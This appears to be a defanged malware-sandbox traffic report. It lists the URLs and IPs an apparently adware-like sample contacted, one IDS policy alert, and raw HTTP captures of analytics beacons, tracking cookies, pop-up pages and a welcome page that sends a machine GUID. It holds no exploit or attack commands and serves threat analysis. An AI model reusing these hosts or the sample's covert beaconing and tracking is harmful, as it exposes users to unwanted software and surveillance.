hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b17.jpg	117.34.91.39
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=1437783400
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=753038328
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b18.JPG	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/b19.JPG	117.34.91.39
hxxp://pcookie.split.cnzz.com/app.gif?&cna=pbYKDKy4NTICAcGK9Ofk4mpJ
hxxp://pcookie.split.cnzz.com/app.gif?&cna=pbYKDNgqDT8CAcGK9OfSQz54
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa4.jpg	117.34.91.39
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=236728726
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa3.jpg	117.34.91.39
hxxp://z12.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=2&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=4&sin=none&t=undefinedundefinedundefined&rnd=1294906267
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa5.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa6.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa1.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa2.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa7.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa8.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa9.jpg	117.34.91.39
hxxp://www.mdtxw.org.he2.aqb.so/miniindex/images/aaa10.jpg	117.34.91.39
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=1658679466
hxxp://z12.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=3&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=7&sin=none&t=undefinedundefinedundefined&rnd=2018474965
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=1268699313
hxxp://z12.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=4&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=10&sin=none&t=undefinedundefinedundefined&rnd=367366471
hxxp://cache.adm.cnzz.net/material/d7/4/a9ac5ed3b828895d94097c8c6faba.jpg	195.27.31.240
hxxp://www.mdtxw.org/miniindex/inc/ico_new2.png	117.34.91.39
hxxp://d.123.sogoucdn.com/ads_hz/_ads_2.js?t=778414	114.80.179.222
hxxp://www.mdtxw.org/miniindex/images/Untitled-2.gif	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/aaa1.jpg	117.34.91.39
hxxp://www.mdtxw.org/miniindex/nvxing_509_366.htm?time=undefined	117.34.91.39
hxxp://p3.123.sogoucdn.com/imgn/v51/i-ico-2b.png	58.215.147.36
hxxp://hzs10.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=1&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=2&sin=none&t=undefinedundefinedundefined&rnd=220255268	42.156.140.25
hxxp://d.123.sogoucdn.com/v53/imgn/v53_arrow_h.gif	114.80.179.222
hxxp://cache.adm.cnzz.net/noname.gif	195.27.31.240
hxxp://hzs10.cnzz.com/stat.htm?id=5645354&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=0&sin=&t=undefinedundefinedundefinedundefinedundefined&rnd=1774546312	42.156.140.25
hxxp://p4.123.sogoucdn.com/imgn/v32/fbg_about.png	114.80.179.224
hxxp://www.mdtxw.org/miniindex/xinwen.htm?time=undefined	117.34.91.39
hxxp://p4.123.sogoucdn.com/imgu/2014/05/20140508103513_537.gif	114.80.179.224
hxxp://d.123.sogoucdn.com/imgn/v32/icon4.gif	114.80.179.222
hxxp://www.mdtxw.org/miniindex/images/aaa9.jpg	117.34.91.39
hxxp://p8.123.sogoucdn.com/imgn/tips/skin_tips_n1.gif	114.80.179.226
hxxp://www.mdtxw.org/miniindex/tj.js	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/b16.jpg	117.34.91.39
hxxp://www.fjmjm.com/web/newioage.css	112.124.102.171
hxxp://www.mdtxw.org/miniindex/lieqi_509_366.htm?time=undefined	117.34.91.39
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=236728726	42.120.219.171
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=1268699313	42.120.219.171
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/img-video-2.gif	58.215.147.36
hxxp://www.mdtxw.org/miniindex/inc/normal_bg.png	117.34.91.39
hxxp://p1.123.sogoucdn.com/imgn/v32/selogo_111207.png	222.211.87.167
hxxp://www.mdtxw.org/miniindex/jiankang_509_366.htm?time=undefined	117.34.91.39
hxxp://d.123.sogoucdn.com/v53/jsn/main.js?V=107ff6db9da3d62875c7cafb326229a51	114.80.179.222
hxxp://d.123.sogoucdn.com/v53/imgn/foot_slider.jpg	114.80.179.222
hxxp://www.mdtxw.org/miniindex/images/Untitled-3.jpg	117.34.91.39
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/new-ico.png	58.215.147.36
hxxp://www.mdtxw.org/miniindex/images/b14.jpg	117.34.91.39
hxxp://d.123.sogoucdn.com/v53/imgn/v53_bicos.gif	114.80.179.222
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=1437783400	42.120.219.171
hxxp://p5.123.sogoucdn.com/imgn/v32/logo_1112293.gif	58.215.147.42
hxxp://p0.123.sogoucdn.com/imgn/v32/skin3.gif	222.211.87.163
hxxp://www.mdtxw.org/miniindex/images/aaa7.jpg	117.34.91.39
hxxp://123.sogou.com/favicon.ico	180.149.156.70
hxxp://www.mdtxw.org/miniindex/images/Untitled-1.gif	117.34.91.39
hxxp://p1.123.sogoucdn.com/imgu/2014/05/20140526163446_912.jpg	222.211.87.167
hxxp://d.123.sogoucdn.com/v53/imgn/guide_tip.png	114.80.179.222
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=wan&ptype=jztf2&pcode=index&rdk=1401145471091&img=pv.gif&sourcelist=0011000100006_0011000100007_0011000100008_0011000100009_0011000100010_0011000100011&titlelist=热血沙城_风云无双_暗黑屠龙_大闹天宫OL_万世_Sogou傲剑2	220.181.124.108
hxxp://123.sogou.com/v53/get_tj.php?hz=4670484&ids=qiche	180.149.156.70
hxxp://p5.123.sogoucdn.com/imgu/2013/08/20130830161205_609.gif	58.215.147.42
hxxp://www.mdtxw.org/miniindex/inc/min.png	117.34.91.39
hxxp://p6.123.sogoucdn.com/imgn/123ie/setting_icon.gif	222.211.87.171
hxxp://drmcmm.baidu.com/media/id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs.jpg	123.125.65.55
hxxp://pic3.xcarimg.com/img/news_photo/2014/05/26/edKzjJ6oPX1140.jpg	222.84.167.30
hxxp://www.mdtxw.org/miniindex/images/aaa8.jpg	117.34.91.39
hxxp://p0.123.sogoucdn.com/imgu/2014/05/20140526170756_638.jpg	222.211.87.163
hxxp://123.sogou.com//v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1401145470591&method=ajaf&cbf=fn	180.149.156.70
hxxp://123.sogou.com/?22014	180.149.156.70
hxxp://hzs10.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=3&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=7&sin=none&t=undefinedundefinedundefined&rnd=2018474965	42.156.140.25
hxxp://p7.123.sogoucdn.com/imgn/123ie/search_arrow.gif	58.215.147.38
hxxp://p2.123.sogoucdn.com/imgu/2013/05/20130531144119_126.png	58.215.147.40
hxxp://pic2.xcarimg.com/img/news_photo/2014/05/26/zd7uDX2EkK0904.jpg	58.51.95.157
hxxp://123.sogou.com/v53/jsn/v53_123n.js?V=df	180.149.156.70
hxxp://pcookie.cnzz.com/app.gif?&cna=pbYKDKy4NTICAcGK9Ofk4mpJ	42.120.219.171
hxxp://p3.123.sogoucdn.com/imgn/sehome/tjv1/img-news.gif	58.215.147.36
hxxp://www.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined	117.34.91.39
hxxp://123.sogou.com/images/weather/fine.gif	180.149.156.70
hxxp://www.mdtxw.org/miniindex/inc/jquery-1.7.2.min.js	117.34.91.39
hxxp://p3.123.sogoucdn.com/imgn/v51/new-erweima2.png	58.215.147.36
hxxp://www.mdtxw.org/miniindex/images/b19.JPG	117.34.91.39
hxxp://www.mdtxw.org/miniindex/meinv.htm?time=undefined	117.34.91.39
hxxp://p0.123.sogoucdn.com/imgn/v32/titlebg.png	222.211.87.163
hxxp://p5.123.sogoucdn.com/imgu/2014/05/20140526163043_207.jpg	58.215.147.42
hxxp://www.jlbnh.com/	112.124.102.171
hxxp://p1.123.sogoucdn.com/imgn/v32/skin2_0.gif	222.211.87.167
hxxp://www.mdtxw.org/miniindex/images/aaa2.jpg	117.34.91.39
hxxp://www.fjmjm.com/web/images/start_button.jpg	112.124.102.171
hxxp://www.fjmjm.com/web/images/texture.gif	112.124.102.171
hxxp://www.mdtxw.org/miniindex/images/aaa4.jpg	117.34.91.39
hxxp://d.123.sogou.com/jsn/v33_sugg_ajaj_v40_3.js	222.211.87.185
hxxp://p0.123.sogoucdn.com/imgu/2014/05/20140526163242_997.jpg	222.211.87.163
hxxp://p1.123.sogoucdn.com/imgu/2014/05/20140520134931_810.jpg	222.211.87.167
hxxp://www.mdtxw.org/miniindex/inc/close.png	117.34.91.39
hxxp://p4.123.sogoucdn.com/imgn/v32/selogo_111207.png	114.80.179.224
hxxp://wan.sogou.com/dh/dhrc/rec.do?block=gamev2&jsonp=__yx2q&t=1&_stamp=1401145469716	180.149.156.71
hxxp://p0.123.sogoucdn.com/imgn/sehome/tjv1/subnav_v41.png	222.211.87.163
hxxp://www.mdtxw.org/miniindex/images/b13.jpg	117.34.91.39
hxxp://hzs10.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=2&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=4&sin=none&t=undefinedundefinedundefined&rnd=1294906267	42.156.140.25
hxxp://d.123.sogou.com/jsn/citydata.js	222.211.87.185
hxxp://www.mdtxw.org/miniindex/	117.34.91.39
hxxp://p8.123.sogoucdn.com/imgn/v32/selogo_111207.png	114.80.179.226
hxxp://d.123.sogoucdn.com/kan/static/css/DD_belatedPNG_0.0.8a-min.js?t=	114.80.179.222
hxxp://pcookie.cnzz.com/app.gif?&cna=pbYKDNgqDT8CAcGK9OfSQz54	42.120.219.171
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=753038328	42.120.219.171
hxxp://www.fjmjm.com/web/welcome_cn.htm?ver=2.4.1.9&guid=a44876071049ba0f9cd3e4c222c439ce6cf2c6c1f881440dbb5aa781928f4f081401145464&lastver=	112.124.102.171
hxxp://123.sogou.com/css/skin_.css?V=df	180.149.156.70
hxxp://www.fjmjm.com/web/images/guide_top.jpg	112.124.102.171
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=1658679466	42.120.219.171
hxxp://www.mdtxw.org/miniindex/images/aaa5.jpg	117.34.91.39
hxxp://p0.123.sogoucdn.com/imgu/2014/05/20140526151005_195.jpg	222.211.87.163
hxxp://pb.sogou.com/pv.gif?uigs_productid=daohang&rdk=1401145470591&img=pv.gif&pars=?rand=1401145470591&suid=null&sduv=1401145470560_9086_00001&ckid=6094_00001_00000_6719_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_df__4&sys=100&ser=null&sev=null&time=2562	220.181.124.108
hxxp://d.123.sogoucdn.com/v53/imgn/v53_2icos.gif	114.80.179.222
hxxp://www.mdtxw.org/miniindex/inc/stylemini.css	117.34.91.39
hxxp://www.mdtxw.org/miniindex/inc/style.css	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/aaa6.jpg	117.34.91.39
hxxp://123.sogou.com/images/weather/cloudy.gif	180.149.156.70
hxxp://s9.cnzz.com/stat.php?id=5645354	1.99.192.15
hxxp://p6.123.sogoucdn.com/imgu/2013/08/20130820165531_481.gif	222.211.87.171
hxxp://p0.123.sogoucdn.com/u/js/ufo2.js	222.211.87.163
hxxp://www.mdtxw.org/miniindex/images/b15.jpg	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/b17.jpg	117.34.91.39
hxxp://p3.123.sogoucdn.com/imgn/v32/setskinbg.gif	58.215.147.36
hxxp://www.mdtxw.org/miniindex/images/b18.JPG	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/aaa10.jpg	117.34.91.39
hxxp://www.mdtxw.org/miniindex/images/aaa3.jpg	117.34.91.39
hxxp://pb.sogou.com/pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1401145475248&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53	220.181.124.108
hxxp://hzs10.cnzz.com/stat.htm?id=5645354&r=http://www.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=4&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=10&sin=none&t=undefinedundefinedundefined&rnd=367366471	42.156.140.25
hxxp://c.cnzz.com/core.php?web_id=5645354&t=z	42.156.140.11
hxxp://123.sogou.com/jsn/hotdata.js?V=1401145470607	180.149.156.70
hxxp://www.fjmjm.com/favicon.ico	112.124.102.171
down.jsrjrc.org	222.186.60.2

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile

Traffic

GET /stat.php?id=5645354 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s9.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 26 May 2014 23:05:07 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Mon, 26 May 2014 23:05:07 GMT

Expires: Tue, 27 May 2014 00:35:07 GMT
ef2..(function(){function l(){this.c="5645354";this.R="z";this.N="";th
is.K="";this.M="";this.o="1401145507";this.P="hzs10.cnzz.com";this.L="
";this.s="CNZZDATA" this.c;this.r="_CNZZDbridge_" this.c;this.G="_cnzz
_CV" this.c;this.u="0";this.B={};this.a={};this.la()}function g(a,b){t
ry{var c=[];c.push("siteid=5645354");.c.push("name=" d(a.name));c.push
("msg=" d(a.message));c.push("r=" d(h.referrer));c.push("page=" d(f.lo
cation.href));c.push("agent=" d(f.navigator.userAgent));c.push("ex=" d
(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).s
rc="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(e){}}var h=docum
ent,f=window,d=encodeURIComponent,k=decodeURIComponent,p=unescape,r=es
cape,m="https:"===f.location.protocol?"https:":"http:",s=m "//c.cnzz.c
om/core.php";l.prototype={la:function(){try{this.U(),.this.J(),this.ia
(),this.H(),this.m(),this.ga(),this.fa(),this.ja(),this.j(),this.ea(),
this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),f[this.r]=
f[this.r]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:functi
on(){try{var a=this;f._czc={push:function(){return a.C.apply(a,argumen
ts)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=f._czc;if("[
object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b  ){va
r c=a[b];switch(c[0]){case "_setAccount":f._cz_account="[object String
]"===.{}.toString.call(c[1])?c[1]:String(c[1]);break;case "_setAutoPag
eview":"boolean"===typeof c[1]&&(f._cz_autoPageview=c[1])}}}catch(e){g
(e,"cS failed")}},qa:function(){try{if("undefined"===typeof f._cz_
<<< skipped >>>

GET /app.gif?&cna=pbYKDKy4NTICAcGK9Ofk4mpJ HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 26 May 2014 23:05:10 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=pbYKDKy4NTICAcGK9Ofk4mpJ; expires=Thu, 23-May-24 23:05:10 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Mon, 26 May 2014 23:05:10 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=pbYKDKy4NTICA
cGK9Ofk4mpJ; expires=Thu, 23-May-24 23:05:10 GMT; path=/; domain=.cnzz
.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache.
.Pragma: no-cache..GIF89a.............!.......,...........L..;.
...


GET /app.gif?&cna=pbYKDNgqDT8CAcGK9OfSQz54 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/meinv.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pcookie.cnzz.com

Connection: Keep-Alive

Cookie: cna=pbYKDNgqDT8CAcGK9OfSQz54

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 26 May 2014 23:05:10 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=pbYKDNgqDT8CAcGK9OfSQz54; expires=Thu, 23-May-24 23:05:10 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Mon, 26 May 2014 23:05:10 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=pbYKDNgqDT8CA
cGK9OfSQz54; expires=Thu, 23-May-24 23:05:10 GMT; path=/; domain=.cnzz
.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache.
.Pragma: no-cache..GIF89a.............!.......,...........L..;.
...

GET /imgn/tips/skin_tips_n1.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p8.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:31 GMT

Content-Type: image/gif

Content-Length: 1779

Last-Modified: Wed, 20 Jun 2012 04:23:22 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:31 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89af.!../......Z..R.....K...........P.....Y.....}..................
.......................^...........S...........l.....W..L........m....
.......f.........................................................!..XM
P DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> &
lt;x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060
 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="ht
tp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf
:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="h
ttp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.ad
obe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:018011740720681191
09DDF35EE18454" xmpMM:DocumentID="xmp.did:B01789E6890511E18530B51A3723
DDED" xmpMM:InstanceID="xmp.iid:B01789E5890511E18530B51A3723DDED" xmp:
CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom 
stRef:instanceID="xmp.iid:02801174072068119109DDF35EE18454" stRef:docu
mentID="xmp.did:01801174072068119109DDF35EE18454"/> </rdf:Descri
ption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
;.....................................................................
.............................................................~}|{zyxwv
utsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876
543210/.-, *)('&%$#"! .................................!...../.,....f.
!......pH,...$q.l:...4i.....vK<<...xL.1>..y.... ........k/2..
.(..........{.........B.$)..........{!......./....................
<<< skipped >>>

GET /media/id=nHRLPjm3nWRY&gp=401&time=nHnLPjmzrHckPs.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: drmcmm.baidu.com

Connection: Keep-Alive

HTTP/1.1 200 OK

media: media

Cache-Control: max-age=31536000

Expires: Fri, 26 Oct 2012 12:24:13 GMT

Last-Modified: Sat, 25 Apr 2009 07:04:00 GMT

Content-Type: image/jpeg

Date: Mon, 26 May 2014 23:05:03 GMT

Server: apache

Content-Length: 14284
......JFIF.....H.H.....5Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i....................'.....
..'.Adobe Photoshop CS3 Windows.2013:07:24 09:26:21...................
.....................M...........................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................M...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?.{-........}%F..L>..u..fs.......
P.........bH...Ga....6._y......|.d`I.E.A.....{.:u..;..>..L..7....'.
E6.P...;....~..qx..c<]C...L...-L~....../0..IQ..:..|Y..!.}..u.<..
[.."..=...~.......5...V?H....kld.........U...VO.......Q6...F.T........
......I....4im4..f...B..R8P4...M.lhk....aC/ ...e0C.... ......s:c..w..?
...{.?...wa.....HTTP/1.1 200 OK..media: media..Cache-Control: max-age=
31536000..Expires: Fri, 26 Oct 2012 12:24:13 GMT..Last-Modified: Sat, 
25 Apr 2009 07:04:00 GMT..Content-Type: image/jpeg..Date: Mon, 26 May 
2014 23:05:03 GMT..Server: apache..Content-Length: 14284........JFIF..
...H.H.....5Exif..MM.*.............................b...........j.(
<<< skipped >>>

GET /miniindex/inc/stylemini.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:04:54 GMT

Content-Type: text/css

Content-Length: 9248

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 18:35:54 GMT

ETag: "0a189b4eb54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:04:54 GMT

Accept-Ranges: bytes
img{border:0}#mini_wrap .bor_n{border:0 currentColor}#mini_wrap .none{
display:none}#closehBtn{background:url("close.png") no-repeat 0 0;padd
ing:0;top:0;width:40px;height:19px;color:#0b3b8c;font-size:14px;vertic
al-align:0;position:relative}#closehBtn:hover{background:url("close.pn
g") no-repeat -40px 0}#minBtn{background:url("min.png") no-repeat 0 0;
padding:0;top:0;width:27px;height:19px;color:#0b3b8c;font-size:14px;ve
rtical-align:0;position:relative}#minBtn:hover{background:url("min.png
") no-repeat -27px 0}.wrapper{margin:0 auto;width:698px;height:399px;t
ext-align:left}.normal_bg{background:url("normal_bg.png") no-repeat 0 
0 #fff}.body_bg{position:relative}.header{width:698px;height:33px}.nav
_box .refresh_box a{background-image:url("ico_new2.png");background-re
peat:no-repeat}.nav_box .on_bg{background-image:url("ico_new2.png");ba
ckground-repeat:no-repeat}.nav_box{padding:4px 0 0 10px;width:688px}.n
av_box span{color:#bccae0;float:left}.nav_box a{width:45px;height:26px
;text-align:center;color:#0b3b8c;padding-top:3px;font-size:14px;text-d
ecoration:none;display:inline-block;position:relative;_vertical-align:
middle}.nav_box .on_bg{background-position:0 -460px;left:18px;width:9p
x;height:5px;bottom:2px;overflow:hidden;display:block;position:absolut
e}.nav_box .on a{color:#333;font-weight:bold;text-decoration:none}.nav
_box .on a:hover{color:#333;font-weight:bold;text-decoration:none}.nav
_box .dz_box a:hover{color:#333;font-weight:bold;text-decoration:none}
.nav_box span a:hover{color:#0b3b8c;text-decoration:none}.nav_box 
<<< skipped >>>

GET /miniindex/xinwen.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:04:56 GMT

Content-Type: text/html

Content-Length: 7368

Connection: keep-alive

Last-Modified: Wed, 16 Apr 2014 14:44:27 GMT

Accept-Ranges: bytes

ETag: "5947395e8259cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: MISS from chn-xa-th-sb1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<HTML xm
lns="hXXp://VVV.w3.org/1999/xhtml"><HEAD><META content="IE
=10.000" http-equiv="X-UA-Compatible">. ..<meta http-equiv="Cont
ent-Type" content="text/html; charset=gb2312">.. ..<meta name="r
obots" content="noindex, nofollow,nosnippet,noarchive,noodp">..<
title>......</title>..<link href="inc/style.css" rel="styl
esheet" type="text/css">.. ..<style type="text/css">..       
     * { padding:0px;..                margin:0px;..            }..   
         .roll-news {..                width:220px;..                h
eight:150px;..                border:solid 1px #c1c1c1;..             
   overflow:hidden;..            }..            .roll-news-index-hover
 {..                background-color:white !important;..            }.
.            .roll-news-image a img {..                width:220px;.. 
               height:150px;..            }..            .roll-news-in
dex {..                position:relative;..                top:-22px;.
.                float:right;..                width: 60px;..         
   }..            .roll-news-index li {..                list-style:no
ne;..                float:left;..                font-size:12px;..   
             font-weight:600;..                width:8px;..           
     height:16px;..                line-height:16px;..                
cursor:pointer;..                margin:0 3px 0 0;..              
<<< skipped >>>

GET /miniindex/shehui_509_366.htm?time=undefined HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:01 GMT

